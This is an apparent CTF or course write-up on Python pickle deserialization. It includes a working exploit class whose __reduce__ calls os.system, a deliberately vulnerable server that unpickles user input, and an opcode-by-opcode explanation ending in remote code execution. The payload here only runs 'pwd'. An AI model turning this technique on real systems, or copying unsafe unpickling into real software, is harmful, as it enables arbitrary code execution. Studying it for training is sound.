Simple Web 0x15.5(Pickle)

Simple Web 0x15.5(Pickle)

tags: NTUSTWS CTF Web

Background - Pickle

Python magic method: __reduce__ __recude__ is used to define what needs to be done when deserializing. Web Hacking | 終章【EDU-CTF 2021】

Source code

:::spoiler exploit.py

import pickle
import os
import pickletools

class exploit(object):
    def __reduce__(self):
        return (os.system, ('pwd',))
    

serialized = pickle.dumps(exploit())
print(bytes.hex(serialized))
optim_s = pickletools.optimize(serialized)
print(pickletools.dis(serialized))
print(pickletools.dis(optim_s))

:::


:::spoiler server_app.py

import pickle

serialized = bytes.fromhex(input('Data: '))
pickle.loads(serialized)

:::

Output & Analyze

In Linux

  • GLOBAL 'posix system': import posix system(which is a library in linux)
  • BINPUT 0: put the top stack to position 0 at Memo structure(array)
  • BINUNICODE: push string ‘pwd’ to stack top
  • TUPLE1: let the element of top stack be a tuple type
  • `REDUCE`

    :

    1
    2
    3
    4
      args = stack.top() # which is 'pwd' in tuple type
      func = stack.top() # which is 'posix system'
      stack.push(func(args)) 
      # then it'll execute os.system('pwd') and push the output to stack
    

In Windows

Much similar with the outcome on linux environment.

Analyze

How to RCE?

$ python exploit.py | python server_app.py
Data: /home/sbk6401/NTUSTWS/deserialization

How did it do? First, exploit.py will serialize the exploit function and turned it to byte.hex then send it server_app.py Then server_app.py will deserialize it and during the process, it’ll execute magic method __reduce__, suddenly, it’ll execute os.system('pwd') at the same time → RCE